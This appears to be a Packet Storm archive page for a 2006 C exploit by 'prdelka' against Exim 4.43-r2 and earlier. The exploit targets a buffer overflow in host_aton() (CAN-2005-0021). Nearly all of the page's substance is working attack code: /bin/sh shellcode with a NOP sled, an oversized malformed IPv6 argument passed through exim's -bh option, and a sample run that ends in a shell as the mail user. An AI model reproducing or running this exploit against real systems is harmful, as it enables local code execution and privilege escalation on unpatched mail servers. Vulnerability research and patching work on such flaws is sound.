what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-GNU-exim.c

prdelka-vs-GNU-exim.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

Exim versions 4.43-r2 and prior host_aton() local root exploit.

tags | exploit, local, root
SHA-256 | aebac98246454607fa35d16a81b2ca598ce612832413121e7c0d3f85eac98cf7

prdelka-vs-GNU-exim.c

Change Mirror Download
/* Exim <= 4.43-r2 host_aton() local exploit
* =========================================
* Exim is an highly configurable message transfer agent (MTA) developed
* at the University of Cambridge.A buffer overflow has been found in the
* host_aton() function of exim (CAN-2005-0021).A local attacker could
* trigger the buffer overflow in host_aton() by supplying an illegal
* IPv6 address with more than 8 components, using a command line option.
*
* linux tmp $ id
* uid=1000(user) gid=100(users) groups=10(wheel),18(audio),100(users)
* linux tmp $ ./eximx /usr/sbin/exim
* [ GNU/Linux Exim <= 4.43-r2 host_aton() local exploit
*
* **** SMTP testing session as if from host ::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A
* **** but without any ident (RFC 1413) callback.
* **** This is not for real!
*
* >>> host in host_lookup? yes (matched "*")
* >>> looking up host name for ::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A
* sh-2.05b$ id
* uid=8(mail) gid=12(mail)
* sh-2.05b$
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char cmd1[]="-bh";
char cmd2[]="::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A";

int main(int argc,char* argv[])
{
printf("[ GNU/Linux Exim <= 4.43-r2 host_aton() local exploit\n");
if(argc < 2)
{
printf("Error: [path]\n");
exit(0);
}
char *env[] = {NULL};
execle(argv[1],argv[1],cmd1,cmd2,shellcode,NULL,env);
exit(0);
}
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    9 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close